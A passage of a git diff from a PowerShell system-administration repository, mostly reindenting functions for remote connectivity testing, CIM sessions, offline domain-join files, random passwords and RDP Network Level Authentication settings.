and something timed out + if (($timedOutTasks -eq $false) -or (($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false))) + { + Write-Verbose "Closing the runspace pool" + $runspacepool.close() + } + + #collect garbage + [gc]::Collect() + } + } + } + + Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" + + $bound = $PSBoundParameters.keys -contains "ComputerName" + if (-not $bound) + { + [System.Collections.ArrayList]$AllComputers = @() + } + } + Process + { + + #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work + if ($bound) + { + $AllComputers = $ComputerName + } + Else + { + foreach ($Computer in $ComputerName) + { + $AllComputers.add($Computer) | Out-Null + } + } + + } + End + { + + #Built up the parameters and run everything in parallel + $params = @($Detail, $Quiet) + $splat = @{ + Throttle = $Throttle + RunspaceTimeout = $Timeout + InputObject = $AllComputers + parameter = $params + } + if ($NoCloseOnTimeout) + { + $splat.add('NoCloseOnTimeout', $True) + } + + Invoke-Parallel @splat -ScriptBlock { + + $computer = $_.trim() + $detail = $parameter[0] + $quiet = $parameter[1] + + #They want detail, define and run test-server + if ($detail) + { + Try + { + #Modification of jrich's Test-Server function: https://gallery.technet.microsoft.com/scriptcenter/Powershell-Test-Server-e0cdea9a + Function Test-Server + { + [cmdletBinding()] + param ( + [parameter( + Mandatory = $true, + ValueFromPipeline = $true)] + [string[]]$ComputerName, + + [switch]$All, + + [parameter(Mandatory = $false)] + [switch]$CredSSP, + + [switch]$RemoteReg, + + [switch]$RDP, + + [switch]$RPC, + + [switch]$SMB, + + [switch]$WSMAN, + + [switch]$IPV6, + + [Management.Automation.PSCredential]$Credential + ) + begin + { + $total = Get-Date + $results = @() + if ($credssp -and -not $Credential) + { + Throw "Must supply Credentials with CredSSP test" + } + + [string[]]$props = write-output Name, IP, Domain, Ping, WSMAN, CredSSP, RemoteReg, RPC, RDP, SMB + + #Hash table to create PSObjects later, compatible with ps2... + $Hash = @{ } + foreach ($prop in $props) + { + $Hash.Add($prop, $null) + } + + function Test-Port + { + [cmdletbinding()] + Param ( + [string]$srv, + + $port = 135, + + $timeout = 3000 + ) + $ErrorActionPreference = "SilentlyContinue" + $tcpclient = new-Object system.Net.Sockets.TcpClient + $iar = $tcpclient.BeginConnect($srv, $port, $null, $null) + $wait = $iar.AsyncWaitHandle.WaitOne($timeout, $false) + if (-not $wait) + { + $tcpclient.Close() + Write-Verbose "Connection Timeout to $srv`:$port" + $false + } + else + { + Try + { + $tcpclient.EndConnect($iar) | out-Null + $true + } + Catch + { + write-verbose "Error for $srv`:$port`: $_" + $false + } + $tcpclient.Close() + } + } + } + + process + { + foreach ($name in $computername) + { + $dt = $cdt = Get-Date + Write-verbose "Testing: $Name" + $failed = 0 + try + { + $DNSEntity = [Net.Dns]::GetHostEntry($name) + $domain = ($DNSEntity.hostname).replace("$name.", "") + $ips = $DNSEntity.AddressList | %{ + if (-not (-not $IPV6 -and $_.AddressFamily -like "InterNetworkV6")) + { + $_.IPAddressToString + } + } + } + catch + { + $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props + $rst.name = $name + $results += $rst + $failed = 1 + } + Write-verbose "DNS: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + if ($failed -eq 0) + { + foreach ($ip in $ips) + { + + $rst = New-Object -TypeName PSObject -Property $Hash | Select -Property $props + $rst.name = $name + $rst.ip = $ip + $rst.domain = $domain + + if ($RDP -or $All) + { + ####RDP Check (firewall may block rest so do before ping + try + { + $socket = New-Object Net.Sockets.TcpClient($name, 3389) -ErrorAction stop + if ($socket -eq $null) + { + $rst.RDP = $false + } + else + { + $rst.RDP = $true + $socket.close() + } + } + catch + { + $rst.RDP = $false + Write-Verbose "Error testing RDP: $_" + } + } + Write-verbose "RDP: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + #########ping + if (test-connection $ip -count 2 -Quiet) + { + Write-verbose "PING: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + $rst.ping = $true + + if ($WSMAN -or $All) + { + try + { + ############wsman + Test-WSMan $ip -ErrorAction stop | Out-Null + $rst.WSMAN = $true + } + catch + { + $rst.WSMAN = $false + Write-Verbose "Error testing WSMAN: $_" + } + Write-verbose "WSMAN: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + if ($rst.WSMAN -and $credssp) ########### credssp + { + try + { + Test-WSMan $ip -Authentication Credssp -Credential $cred -ErrorAction stop + $rst.CredSSP = $true + } + catch + { + $rst.CredSSP = $false + Write-Verbose "Error testing CredSSP: $_" + } + Write-verbose "CredSSP: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + } + } + if ($RemoteReg -or $All) + { + try ########remote reg + { + [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $ip) | Out-Null + $rst.remotereg = $true + } + catch + { + $rst.remotereg = $false + Write-Verbose "Error testing RemoteRegistry: $_" + } + Write-verbose "remote reg: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + } + if ($RPC -or $All) + { + try ######### wmi + { + $w = [wmi] '' + $w.psbase.options.timeout = 15000000 + $w.path = "\\$Name\root\cimv2:Win32_ComputerSystem.Name='$Name'" + $w | select none | Out-Null + $rst.RPC = $true + } + catch + { + $rst.rpc = $false + Write-Verbose "Error testing WMI/RPC: $_" + } + Write-verbose "WMI/RPC: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + } + if ($SMB -or $All) + { + + #Use set location and resulting errors. push and pop current location + try ######### C$ + { + $path = "\\$name\c$" + Push-Location -Path $path -ErrorAction stop + $rst.SMB = $true + Pop-Location + } + catch + { + $rst.SMB = $false + Write-Verbose "Error testing SMB: $_" + } + Write-verbose "SMB: $((New-TimeSpan $dt ($dt = get-date)).totalseconds)" + + } + } + else + { + $rst.ping = $false + $rst.wsman = $false + $rst.credssp = $false + $rst.remotereg = $false + $rst.rpc = $false + $rst.smb = $false + } + $results += $rst + } + } + Write-Verbose "Time for $($Name): $((New-TimeSpan $cdt ($dt)).totalseconds)" + Write-Verbose "----------------------------" + } + } + end + { + Write-Verbose "Time for all: $((New-TimeSpan $total ($dt)).totalseconds)" + Write-Verbose "----------------------------" + return $results + } + } + + #Build up parameters for Test-Server and run it + $TestServerParams = @{ + ComputerName = $Computer + ErrorAction = "Stop" + } + + if ($detail -eq "*") + { + $detail = "WSMan", "RemoteReg", "RPC", "RDP", "SMB" + } + + $detail | Select -Unique | Foreach-Object { $TestServerParams.add($_, $True) } + Test-Server @TestServerParams | Select -Property $("Name", "IP", "Domain", "Ping" + $detail) + } + Catch + { + Write-Warning "Error with Test-Server: $_" + } + } + #We just want ping output + else + { + Try + { + #Pick out a few properties, add a status label. If quiet output, just return the address + $result = $null + if ($result = @(Test-Connection -ComputerName $computer -Count 2 -erroraction Stop)) + { + $Output = $result | Select -first 1 -Property Address, + IPV4Address, + IPV6Address, + ResponseTime, + @{ label = "STATUS"; expression = { "Responding" } } + + if ($quiet) + { + $Output.address + } + else + { + $Output + } + } + } + Catch + { + if (-not $quiet) + { + #Ping failed. I'm likely making inappropriate assumptions here, let me know if this is the case : ) + if ($_ -match "No such host is known") + { + $status = "Unknown host" + } + elseif ($_ -match "Error due to lack of resources") + { + $status = "No Response" + } + else + { + $status = "Error: $_" + } + + "" | Select -Property @{ label = "Address"; expression = { $computer } }, + IPV4Address, + IPV6Address, + ResponseTime, + @{ label = "STATUS"; expression = { $status } } + } + } + } + } + } + } diff --git a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 index a49f4d7f..812fc975 100644 --- a/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 +++ b/TOOL-New-CimSmartSession/New-CimSmartSession.ps1 @@ -6,7 +6,7 @@ .DESCRIPTION Function to create a CimSession to remote computer using either WSMAN or DCOM protocol. - This function requires at least PowerShell v3. + This function requires at least PowerShell v3. .PARAMETER ComputerName Specifies the ComputerName @@ -19,97 +19,97 @@ .EXAMPLE $Session = New-CimSmartSession -ComputerName DC01 -Credential (Get-Credential -Credential "FX\SuperAdmin") - New-CimInstance -CimSession $Session -Class Win32_Bios + New-CimInstance -CimSession $Session -Class Win32_Bios .NOTES Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin + lazywinadmin.com + @lazywinadmin #> - #Requires -Version 3.0 - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline = $true)] - [string[]]$ComputerName = $env:COMPUTERNAME, - - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - BEGIN - { - # Default Verbose/Debug message - function Get-DefaultMessage - { - <# - .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING. - Typically called inside another function in the BEGIN Block - #> - PARAM ($Message) - Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" - }#Get-DefaultMessage - - # Create a containter (hashtable) for the properties (Splatting) - $CIMSessionSplatting = @{ } - - # Credential specified - IF ($PSBoundParameters['Credential']) { $CIMSessionSplatting.Credential = $Credential } - - # CIMSession Option for DCOM (Default is WSMAN) - $CIMSessionOption = New-CimSessionOption -Protocol Dcom - } - - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $CIMSessionSplatting.ComputerName = $Computer - - - # WSMAN Protocol - IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: ([3-9]|[1-9][0-9]+)\.[0-9]+') - { - TRY - { - #WSMAN (Default when using New-CimSession) - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using WSMAN protocol (Default, requires at least PowerShell v3.0)") - New-CimSession @CIMSessionSplatting -errorVariable ErrorProcessNewCimSessionWSMAN - } - CATCH - { - IF ($ErrorProcessNewCimSessionWSMAN) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't Connect using WSMAN protocol") } - Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) - } - } - - ELSE - { - # DCOM Protocol - $CIMSessionSplatting.SessionOption = $CIMSessionOption - - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using DCOM protocol") - New-CimSession @SessionParams -errorVariable ErrorProcessNewCimSessionDCOM - } - CATCH - { - IF ($ErrorProcessNewCimSessionDCOM) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't connect using DCOM protocol either") } - Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) - } - FINALLY - { - # Remove the CimSessionOption for the DCOM protocol for the next computer - $CIMSessionSplatting.Remove('CIMSessionOption') - } - }#ELSE - }#Test-Connection - }#FOREACH - }#PROCESS + #Requires -Version 3.0 + [CmdletBinding()] + PARAM ( + [Parameter(ValueFromPipeline = $true)] + [string[]]$ComputerName = $env:COMPUTERNAME, + + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + BEGIN + { + # Default Verbose/Debug message + function Get-DefaultMessage + { + <# + .SYNOPSIS + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + .DESCRIPTION + Helper Function to show default message used in VERBOSE/DEBUG/WARNING. + Typically called inside another function in the BEGIN Block + #> + PARAM ($Message) + Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" + }#Get-DefaultMessage + + # Create a containter (hashtable) for the properties (Splatting) + $CIMSessionSplatting = @{ } + + # Credential specified + IF ($PSBoundParameters['Credential']) { $CIMSessionSplatting.Credential = $Credential } + + # CIMSession Option for DCOM (Default is WSMAN) + $CIMSessionOption = New-CimSessionOption -Protocol Dcom + } + + PROCESS + { + FOREACH ($Computer in $ComputerName) + { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) + { + $CIMSessionSplatting.ComputerName = $Computer + + + # WSMAN Protocol + IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: ([3-9]|[1-9][0-9]+)\.[0-9]+') + { + TRY + { + #WSMAN (Default when using New-CimSession) + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using WSMAN protocol (Default, requires at least PowerShell v3.0)") + New-CimSession @CIMSessionSplatting -errorVariable ErrorProcessNewCimSessionWSMAN + } + CATCH + { + IF ($ErrorProcessNewCimSessionWSMAN) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't Connect using WSMAN protocol") } + Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) + } + } + + ELSE + { + # DCOM Protocol + $CIMSessionSplatting.SessionOption = $CIMSessionOption + + TRY + { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Connecting using DCOM protocol") + New-CimSession @SessionParams -errorVariable ErrorProcessNewCimSessionDCOM + } + CATCH + { + IF ($ErrorProcessNewCimSessionDCOM) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Can't connect using DCOM protocol either") } + Write-Warning -Message (Get-DefaultMessage -Message $Error.Exception.Message) + } + FINALLY + { + # Remove the CimSessionOption for the DCOM protocol for the next computer + $CIMSessionSplatting.Remove('CIMSessionOption') + } + }#ELSE + }#Test-Connection + }#FOREACH + }#PROCESS }#Function \ No newline at end of file diff --git a/TOOL-New-DjoinFile/New-DjoinFile.ps1 b/TOOL-New-DjoinFile/New-DjoinFile.ps1 index e5c173a3..012447b1 100644 --- a/TOOL-New-DjoinFile/New-DjoinFile.ps1 +++ b/TOOL-New-DjoinFile/New-DjoinFile.ps1 @@ -4,71 +4,71 @@ .SYNOPSIS Function to generate a blob file accepted by djoin.exe tool (offline domain join) - .DESCRIPTION + .DESCRIPTION Function to generate a blob file accepted by djoin.exe tool (offline domain join) - This function can create a file compatible with djoin with the Blob initially provisionned. + This function can create a file compatible with djoin with the Blob initially provisionned. - .PARAMETER Blob - Specifies the blob generated by djoin + .PARAMETER Blob + Specifies the blob generated by djoin - .PARAMETER DestinationFile - Specifies the full path of the file that will be created + .PARAMETER DestinationFile + Specifies the full path of the file that will be created - Default is c:\temp\djoin.tmp + Default is c:\temp\djoin.tmp - .EXAMPLE + .EXAMPLE New-DjoinFile -Blob $Blob -DestinationFile C:\temp\test.tmp - .NOTES + .NOTES Francois-Xavier.Cat LazyWinAdmin.com @lazywinadmin github.com/lazywinadmin .LINK - https://github.com/lazywinadmin/PowerShell/tree/master/TOOL-New-DjoinFile - .LINK - http://www.lazywinadmin.com/2016/07/offline-domain-join-copying-djoin.html - .LINK + https://github.com/lazywinadmin/PowerShell/tree/master/TOOL-New-DjoinFile + .LINK + http://www.lazywinadmin.com/2016/07/offline-domain-join-copying-djoin.html + .LINK https://msdn.microsoft.com/en-us/library/system.io.fileinfo(v=vs.110).aspx #> - [Cmdletbinding()] - PARAM ( - [Parameter(Mandatory = $true)] - [System.String]$Blob, - [Parameter(Mandatory = $true)] - [System.IO.FileInfo]$DestinationFile = "c:\temp\djoin.tmp" - ) + [Cmdletbinding()] + PARAM ( + [Parameter(Mandatory = $true)] + [System.String]$Blob, + [Parameter(Mandatory = $true)] + [System.IO.FileInfo]$DestinationFile = "c:\temp\djoin.tmp" + ) - PROCESS - { - TRY - { - # Create a byte object - $bytechain = New-Object -TypeName byte[] -ArgumentList 2 - # Add the first two character for Unicode Encoding - $bytechain[0] = 255 - $bytechain[1] = 254 + PROCESS + { + TRY + { + # Create a byte object + $bytechain = New-Object -TypeName byte[] -ArgumentList 2 + # Add the first two character for Unicode Encoding + $bytechain[0] = 255 + $bytechain[1] = 254 - # Creates a write-only FileStream - $FileStream = $DestinationFile.Openwrite() + # Creates a write-only FileStream + $FileStream = $DestinationFile.Openwrite() - # Append Hash as byte - $bytechain += [System.Text.Encoding]::unicode.GetBytes($Blob) - # Append two extra 0 bytes characters - $bytechain += 0 - $bytechain += 0 + # Append Hash as byte + $bytechain += [System.Text.Encoding]::unicode.GetBytes($Blob) + # Append two extra 0 bytes characters + $bytechain += 0 + $bytechain += 0 - # Write back to the file - $FileStream.write($bytechain, 0, $bytechain.Length) + # Write back to the file + $FileStream.write($bytechain, 0, $bytechain.Length) - # Close the file Stream - $FileStream.Close() - } - CATCH - { - $Error[0] - } - } + # Close the file Stream + $FileStream.Close() + } + CATCH + { + $Error[0] + } + } } \ No newline at end of file diff --git a/TOOL-New-RandomPassword/New-RandomPassword.ps1 b/TOOL-New-RandomPassword/New-RandomPassword.ps1 index dc58b8b7..5eecca03 100644 --- a/TOOL-New-RandomPassword/New-RandomPassword.ps1 +++ b/TOOL-New-RandomPassword/New-RandomPassword.ps1 @@ -2,14 +2,14 @@ { <# .SYNOPSIS - Function to generate a complex and random password + Function to generate a complex and random password .DESCRIPTION Function to generate a complex and random password - This is using the GeneratePassword method from the - system.web.security.membership NET Class. + This is using the GeneratePassword method from the + system.web.security.membership NET Class. - https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.100).aspx + https://msdn.microsoft.com/en-us/library/system.web.security.membership.generatepassword(v=vs.100).aspx .PARAMETER Length The number of characters in the generated password. The length must be between 1 and 128 characters. @@ -41,23 +41,23 @@ @lazywinadmin github.com/lazywinadmin #> - PARAM ( - [Int32]$Length = 12, + PARAM ( + [Int32]$Length = 12, - [Int32]$NumberOfNonAlphanumericCharacters = 5, + [Int32]$NumberOfNonAlphanumericCharacters = 5, - [Int32]$Count = 1 - ) + [Int32]$Count = 1 + ) - BEGIN - { - Add-Type -AssemblyName System.web; - } + BEGIN + { + Add-Type -AssemblyName System.web; + } - PROCESS - { - 1..$Count | ForEach-Object { - [System.Web.Security.Membership]::GeneratePassword($Length, $NumberOfNonAlphanumericCharacters) - } - } + PROCESS + { + 1..$Count | ForEach-Object { + [System.Web.Security.Membership]::GeneratePassword($Length, $NumberOfNonAlphanumericCharacters) + } + } } \ No newline at end of file diff --git a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 index 88369dcf..af2eea94 100644 --- a/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Remove-PSObjectEmptyOrNullProperty/Remove-PSObjectEmptyOrNullProperty.ps1 @@ -1,31 +1,31 @@ function Remove-PSObjectEmptyOrNullProperty { <# - .SYNOPSIS - Function to Remove all the empty or null properties with empty value in a PowerShell Object + .SYNOPSIS + Function to Remove all the empty or null properties with empty value in a PowerShell Object - .DESCRIPTION - Function to Remove all the empty or null properties with empty value in a PowerShell Object + .DESCRIPTION + Function to Remove all the empty or null properties with empty value in a PowerShell Object - .PARAMETER PSObject - Specifies the PowerShell Object + .PARAMETER PSObject + Specifies the PowerShell Object - .EXAMPLE - PS C:\> Remove-PSObjectEmptyOrNullProperty -PSObject $UserInfo + .EXAMPLE + PS C:\> Remove-PSObjectEmptyOrNullProperty -PSObject $UserInfo - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> - PARAM ( - $PSObject) - PROCESS - { - $PsObject.psobject.Properties | - Where-Object { -not $_.value } | - ForEach-Object { - $PsObject.psobject.Properties.Remove($_.name) - } - } + PARAM ( + $PSObject) + PROCESS + { + $PsObject.psobject.Properties | + Where-Object { -not $_.value } | + ForEach-Object { + $PsObject.psobject.Properties.Remove($_.name) + } + } } \ No newline at end of file diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 2a75450d..125bec31 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -2,75 +2,75 @@ function Remove-StringSpecialCharacter { <# .SYNOPSIS - This function will remove the special character from a string. + This function will remove the special character from a string. .DESCRIPTION - This function will remove the special character from a string. - I'm using Unicode Regular Expressions with the following categories - \p{L} : any kind of letter from any language. - \p{Nd} : a digit zero through nine in any script except ideographic + This function will remove the special character from a string. + I'm using Unicode Regular Expressions with the following categories + \p{L} : any kind of letter from any language. + \p{Nd} : a digit zero through nine in any script except ideographic - http://www.regular-expressions.info/unicode.html - http://unicode.org/reports/tr18/ + http://www.regular-expressions.info/unicode.html + http://unicode.org/reports/tr18/ .PARAMETER String - Specifies the String on which the special character will be removed + Specifies the String on which the special character will be removed .SpecialCharacterToKeep - Specifies the special character to keep in the output + Specifies the special character to keep in the output .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" - wow + PS C:\> Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" + wow .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" + PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" - wow + wow .EXAMPLE - PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" - wow-_* + PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" + wow-_* .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com - github.com/lazywinadmin + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com + github.com/lazywinadmin #> - [CmdletBinding()] - param - ( - [Parameter(ValueFromPipeline)] - [ValidateNotNullOrEmpty()] - [Alias('Text')] - [System.String[]]$String, + [CmdletBinding()] + param + ( + [Parameter(ValueFromPipeline)] + [ValidateNotNullOrEmpty()] + [Alias('Text')] + [System.String[]]$String, - [Alias("Keep")] - #[ValidateNotNullOrEmpty()] - [String[]]$SpecialCharacterToKeep - ) - PROCESS - { - IF ($PSBoundParameters["SpecialCharacterToKeep"]) - { - $Regex = "[^\p{L}\p{Nd}" - Foreach ($Character in $SpecialCharacterToKeep) - { - IF ($Character -eq "-"){ - $Regex +="-" - } else { - $Regex += [Regex]::Escape($Character) - } - #$Regex += "/$character" - } + [Alias("Keep")] + #[ValidateNotNullOrEmpty()] + [String[]]$SpecialCharacterToKeep + ) + PROCESS + { + IF ($PSBoundParameters["SpecialCharacterToKeep"]) + { + $Regex = "[^\p{L}\p{Nd}" + Foreach ($Character in $SpecialCharacterToKeep) + { + IF ($Character -eq "-"){ + $Regex +="-" + } else { + $Regex += [Regex]::Escape($Character) + } + #$Regex += "/$character" + } - $Regex += "]+" - } #IF($PSBoundParameters["SpecialCharacterToKeep"]) - ELSE { $Regex = "[^\p{L}\p{Nd}]+" } + $Regex += "]+" + } #IF($PSBoundParameters["SpecialCharacterToKeep"]) + ELSE { $Regex = "[^\p{L}\p{Nd}]+" } - FOREACH ($Str in $string) - { - Write-Verbose -Message "Original String: $Str" - $Str -replace $regex, "" - } - } #PROCESS + FOREACH ($Str in $string) + { + Write-Verbose -Message "Original String: $Str" + $Str -replace $regex, "" + } + } #PROCESS } diff --git a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 index d3cf7b7e..c80d5b0c 100644 --- a/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 +++ b/TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 @@ -2,44 +2,44 @@ function Resolve-ShortURL { <# .SYNOPSIS - Function to resolve a short URL to the absolute URI + Function to resolve a short URL to the absolute URI .DESCRIPTION - Function to resolve a short URL to the absolute URI + Function to resolve a short URL to the absolute URI .PARAMETER ShortUrl - Specifies the ShortURL + Specifies the ShortURL .EXAMPLE - Resolve-ShortURL -ShortUrl http://goo.gl/P5PKq + Resolve-ShortURL -ShortUrl http://goo.gl/P5PKq .EXAMPLE - Resolve-ShortURL -ShortUrl http://go.microsoft.com/fwlink/?LinkId=280243 + Resolve-ShortURL -ShortUrl http://go.microsoft.com/fwlink/?LinkId=280243 .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin - github.com/lazywinadmin + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin #> - [CmdletBinding()] - [OutputType([System.String])] - PARAM - ( - [String[]]$ShortUrl - ) + [CmdletBinding()] + [OutputType([System.String])] + PARAM + ( + [String[]]$ShortUrl + ) - FOREACH ($URL in $ShortUrl) - { - TRY - { - Write-Verbose -Message "$URL - Querying..." - (Invoke-WebRequest -Uri $URL -MaximumRedirection 0 -ErrorAction Ignore).Headers.Location - } - CATCH - { - Write-Error -Message $Error[0].Exception.Message - } - } + FOREACH ($URL in $ShortUrl) + { + TRY + { + Write-Verbose -Message "$URL - Querying..." + (Invoke-WebRequest -Uri $URL -MaximumRedirection 0 -ErrorAction Ignore).Headers.Location + } + CATCH + { + Write-Error -Message $Error[0].Exception.Message + } + } } diff --git a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 index 75d70784..011c739b 100644 --- a/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 +++ b/TOOL-Set-NetworkLevelAuthentication/Set-NetworkLevelAuthentication.ps1 @@ -2,144 +2,144 @@ { <# .SYNOPSIS - This function will set the NLA setting on a local machine or remote machine + This function will set the NLA setting on a local machine or remote machine .DESCRIPTION - This function will set the NLA setting on a local machine or remote machine + This function will set the NLA setting on a local machine or remote machine .PARAMETER ComputerName - Specify one or more computers + Specify one or more computers .PARAMETER EnableNLA - Specify if the NetworkLevelAuthentication need to be set to $true or $false + Specify if the NetworkLevelAuthentication need to be set to $true or $false .PARAMETER Credential - Specify the alternative credential to use. By default it will use the current one. + Specify the alternative credential to use. By default it will use the current one. .EXAMPLE - Set-NetworkLevelAuthentication -EnableNLA $true + Set-NetworkLevelAuthentication -EnableNLA $true .EXAMPLE - Set-NetworkLevelAuthentication -EnableNLA $true -computername "SERVER01","SERVER02" + Set-NetworkLevelAuthentication -EnableNLA $true -computername "SERVER01","SERVER02" .EXAMPLE - Set-NetworkLevelAuthentication -EnableNLA $true -computername (Get-Content ServersList.txt) + Set-NetworkLevelAuthentication -EnableNLA $true -computername (Get-Content ServersList.txt) .NOTES - DATE : 2014/04/01 - AUTHOR : Francois-Xavier Cat - WWW : http://lazywinadmin.com - Twitter : @lazywinadmin + DATE : 2014/04/01 + AUTHOR : Francois-Xavier Cat + WWW : http://lazywinadmin.com + Twitter : @lazywinadmin - Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html - GitHub : https://github.com/lazywinadmin/PowerShell + Article : http://lazywinadmin.com/2014/04/powershell-getset-network-level.html + GitHub : https://github.com/lazywinadmin/PowerShell #> - #Requires -Version 3.0 - [CmdletBinding()] - PARAM ( - [Parameter(ValueFromPipeline,ValueFromPipelineByPropertyName)] - [System.String[]]$ComputerName = $env:ComputerName, - - [Parameter(Mandatory)] - [System.Boolean]$EnableNLA, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - )#Param - BEGIN - { - TRY - { - IF (-not (Get-Module -Name CimCmdlets)) - { - Write-Verbose -Message '[BEGIN] Import Module CimCmdlets' - Import-Module CimCmdlets -ErrorAction 'Stop' -ErrorVariable ErrorBeginCimCmdlets - } - } - CATCH - { - IF ($ErrorBeginCimCmdlets) - { - Write-Error -Message "[BEGIN] Can't find CimCmdlets Module" - } - } - }#BEGIN - - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -message $Computer - TRY - { - # Building Splatting for CIM Sessions - Write-Verbose -message "$Computer - CIM/WIM - Building Splatting" - $CIMSessionParams = @{ - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ProcessError' - } - - # Add Credential if specified when calling the function - IF ($PSBoundParameters['Credential']) - { - Write-Verbose -message "[PROCESS] $Computer - CIM/WMI - Add Credential Specified" - $CIMSessionParams.credential = $Credential - } - - # Connectivity Test - Write-Verbose -Message "[PROCESS] $Computer - Testing Connection..." - Test-Connection -ComputerName $Computer -Count 1 -ErrorAction Stop -ErrorVariable ErrorTestConnection | Out-Null - - # CIM/WMI Connection - # WsMAN - IF ((Test-WSMan -ComputerName $Computer -ErrorAction SilentlyContinue).productversion -match 'Stack: 3.0') - { - Write-Verbose -Message "[PROCESS] $Computer - WSMAN is responsive" - $CimSession = New-CimSession @CIMSessionParams - $CimProtocol = $CimSession.protocol - Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" - } - - # DCOM - ELSE - { - # Trying with DCOM protocol - Write-Verbose -Message "[PROCESS] $Computer - Trying to connect via DCOM protocol" - $CIMSessionParams.SessionOption = New-CimSessionOption -Protocol Dcom - $CimSession = New-CimSession @CIMSessionParams - $CimProtocol = $CimSession.protocol - Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Opened" - } - - # Getting the Information on Terminal Settings - Write-Verbose -message "[PROCESS] $Computer - [$CimProtocol] CIM SESSION - Get the Terminal Services Information" - $NLAinfo = Get-CimInstance -CimSession $CimSession -ClassName Win32_TSGeneralSetting -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'" - 